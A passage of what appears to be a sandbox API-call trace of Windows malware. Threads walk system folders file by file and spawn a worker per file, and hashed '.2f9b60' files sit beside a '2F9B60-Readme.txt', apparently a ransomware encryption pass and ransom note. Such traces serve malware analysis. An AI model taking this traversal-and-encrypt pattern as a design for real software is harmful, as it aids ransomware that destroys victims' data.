returned 1 Thread: id = 2668 os_tid = 0x221c [0157.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b8590f0 [0157.486] wcscpy (in: _Dest=0x1b8590f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\AIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" [0157.486] wcscat (in: _Dest=0x1b8590f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\" [0157.486] wcscat (in: _Dest=0x1b8590f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*" [0157.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98f70 [0157.487] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AIT\\*", lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859390 [0157.487] wcscmp (_String1=".", _String2=".") returned 0 [0157.487] FindNextFileW (in: hFindFile=0x1b859390, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.487] wcscmp (_String1="..", _String2=".") returned 1 [0157.487] wcscmp (_String1="..", _String2="..") returned 0 [0157.487] FindNextFileW (in: hFindFile=0x1b859390, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.487] FindClose (in: hFindFile=0x1b859390 | out: hFindFile=0x1b859390) returned 1 [0157.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98f70) returned 1 [0157.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8590f0) returned 1 [0157.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86430) returned 1 Thread: id = 2669 os_tid = 0x2220 [0157.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85dd90 [0157.491] wcscpy (in: _Dest=0x1b85dd90, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" [0157.491] wcscat (in: _Dest=0x1b85dd90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\" [0157.491] wcscat (in: _Dest=0x1b85dd90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*" [0157.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98f70 [0157.492] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86430 [0157.492] wcscmp (_String1=".", _String2=".") returned 0 [0157.492] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.492] wcscmp (_String1="..", _String2=".") returned 1 [0157.492] wcscmp (_String1="..", _String2="..") returned 0 [0157.492] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0157.492] wcscmp (_String1="en-US", _String2=".") returned 1 [0157.492] wcscmp (_String1="en-US", _String2="..") returned 1 [0157.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b820 [0157.493] wcscpy (in: _Dest=0x1b86b820, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" [0157.493] wcscat (in: _Dest=0x1b86b820, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\" [0157.493] wcscat (in: _Dest=0x1b86b820, _Source="en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" [0158.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86b820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0158.710] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9dbcac, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0158.710] FindClose (in: hFindFile=0x1cd86430 | out: hFindFile=0x1cd86430) returned 1 [0158.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98f70) returned 1 [0158.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0158.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 Thread: id = 2670 os_tid = 0x2224 [0157.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd86130 [0157.494] wcscpy (in: _Dest=0x1cd86130, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" [0157.494] wcscat (in: _Dest=0x1cd86130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\" [0157.494] wcscat (in: _Dest=0x1cd86130, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*" [0157.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99450 [0157.495] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86fd0 [0157.495] wcscmp (_String1=".", _String2=".") returned 0 [0157.495] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.495] wcscmp (_String1="..", _String2=".") returned 1 [0157.495] wcscmp (_String1="..", _String2="..") returned 0 [0157.495] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0157.495] wcscmp (_String1="Cache", _String2=".") returned 1 [0157.495] wcscmp (_String1="Cache", _String2="..") returned 1 [0157.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b86e3a0 [0157.496] wcscpy (in: _Dest=0x1b86e3a0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" [0157.496] wcscat (in: _Dest=0x1b86e3a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\" [0157.496] wcscat (in: _Dest=0x1b86e3a0, _Source="Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache" [0158.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0158.713] FindNextFileW (in: hFindFile=0x1cd86fd0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 0 [0158.713] FindClose (in: hFindFile=0x1cd86fd0 | out: hFindFile=0x1cd86fd0) returned 1 [0158.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99450) returned 1 [0158.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86130) returned 1 [0158.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8589d0) returned 1 Thread: id = 2671 os_tid = 0x2228 [0157.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e410 [0157.498] wcscpy (in: _Dest=0x1b86e410, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer") returned="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer" [0157.498] wcscat (in: _Dest=0x1b86e410, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\" [0157.498] wcscat (in: _Dest=0x1b86e410, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*" [0157.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0157.498] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86a90 [0157.498] wcscmp (_String1=".", _String2=".") returned 0 [0157.498] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.498] wcscmp (_String1="..", _String2=".") returned 1 [0157.498] wcscmp (_String1="..", _String2="..") returned 0 [0157.498] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.499] FindClose (in: hFindFile=0x1cd86a90 | out: hFindFile=0x1cd86a90) returned 1 [0157.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0157.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e410) returned 1 [0157.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 Thread: id = 2672 os_tid = 0x222c [0157.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86aa10 [0157.503] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0157.503] wcscat (in: _Dest=0x1b86aa10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0157.503] wcscat (in: _Dest=0x1b86aa10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*" [0157.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0157.504] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8559e50, ftLastAccessTime.dwHighDateTime=0x1d699a6, ftLastWriteTime.dwLowDateTime=0x8559e50, ftLastWriteTime.dwHighDateTime=0x1d699a6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86a90 [0157.504] wcscmp (_String1=".", _String2=".") returned 0 [0157.504] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8559e50, ftLastAccessTime.dwHighDateTime=0x1d699a6, ftLastWriteTime.dwLowDateTime=0x8559e50, ftLastWriteTime.dwHighDateTime=0x1d699a6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.504] wcscmp (_String1="..", _String2=".") returned 1 [0157.504] wcscmp (_String1="..", _String2="..") returned 0 [0157.504] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4a5dfc0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xb4a5dfc0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x7f828940, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x2b0150, dwReserved0=0x0, dwReserved1=0x0, cFileName="080c385ae036865.2f9b60", cAlternateFileName="080C38~1.2F9")) returned 1 [0157.504] wcscmp (_String1="080c385ae036865.2f9b60", _String2=".") returned 1 [0157.504] wcscmp (_String1="080c385ae036865.2f9b60", _String2="..") returned 1 [0157.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106f40 [0157.504] wcscpy (in: _Dest=0x106f40, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0157.504] wcscat (in: _Dest=0x106f40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0157.504] wcscat (in: _Dest=0x106f40, _Source="080c385ae036865.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\080c385ae036865.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\080c385ae036865.2f9b60" [0158.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x106f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0158.595] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9bd2ca0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9bd2ca0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0xd9bd2ca0, ftLastWriteTime.dwHighDateTime=0x1d2faf9, nFileSizeHigh=0x0, nFileSizeLow=0x724c, dwReserved0=0x0, dwReserved1=0x0, cFileName="29841df73d430fb8cb9f2f1ccd54.2f9b60", cAlternateFileName="29841D~1.2F9")) returned 1 [0158.595] wcscmp (_String1="29841df73d430fb8cb9f2f1ccd54.2f9b60", _String2=".") returned 1 [0158.596] wcscmp (_String1="29841df73d430fb8cb9f2f1ccd54.2f9b60", _String2="..") returned 1 [0158.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776f50 [0158.596] wcscpy (in: _Dest=0x1b776f50, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0158.596] wcscat (in: _Dest=0x1b776f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0158.596] wcscat (in: _Dest=0x1b776f50, _Source="29841df73d430fb8cb9f2f1ccd54.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\29841df73d430fb8cb9f2f1ccd54.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\29841df73d430fb8cb9f2f1ccd54.2f9b60" [0158.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b776f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180 [0158.597] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8559e50, ftCreationTime.dwHighDateTime=0x1d699a6, ftLastAccessTime.dwLowDateTime=0x8559e50, ftLastAccessTime.dwHighDateTime=0x1d699a6, ftLastWriteTime.dwLowDateTime=0x857ffb0, ftLastWriteTime.dwHighDateTime=0x1d699a6, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0158.597] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0158.597] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0158.597] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e53620, ftCreationTime.dwHighDateTime=0x1d305f5, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x572a, dwReserved0=0x0, dwReserved1=0x0, cFileName="859859cacd2cfc218a4ca701db51.2f9b60", cAlternateFileName="859859~1.2F9")) returned 1 [0158.597] wcscmp (_String1="859859cacd2cfc218a4ca701db51.2f9b60", _String2=".") returned 1 [0158.597] wcscmp (_String1="859859cacd2cfc218a4ca701db51.2f9b60", _String2="..") returned 1 [0158.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776e70 [0158.597] wcscpy (in: _Dest=0x1b776e70, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0158.597] wcscat (in: _Dest=0x1b776e70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0158.597] wcscat (in: _Dest=0x1b776e70, _Source="859859cacd2cfc218a4ca701db51.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\859859cacd2cfc218a4ca701db51.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\859859cacd2cfc218a4ca701db51.2f9b60" [0158.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b776e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188 [0158.598] FindNextFileW (in: hFindFile=0x1cd86a90, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9b145c0, ftCreationTime.dwHighDateTime=0x1d2faf9, ftLastAccessTime.dwLowDateTime=0xd9b145c0, ftLastAccessTime.dwHighDateTime=0x1d2faf9, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x5722, dwReserved0=0x0, dwReserved1=0x0, cFileName="9420f250c28a1ade21a5c5bf.2f9b60", cAlternateFileName="9420F2~1.2F9")) returned 1 [0158.598] wcscmp (_String1="9420f250c28a1ade21a5c5bf.2f9b60", _String2=".") returned 1 [0158.598] wcscmp (_String1="9420f250c28a1ade21a5c5bf.2f9b60", _String2="..") returned 1 [0158.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x119240 [0158.598] wcscpy (in: _Dest=0x119240, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0158.598] wcscat (in: _Dest=0x119240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0158.598] wcscat (in: _Dest=0x119240, _Source="9420f250c28a1ade21a5c5bf.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\9420f250c28a1ade21a5c5bf.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\9420f250c28a1ade21a5c5bf.2f9b60" [0158.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, 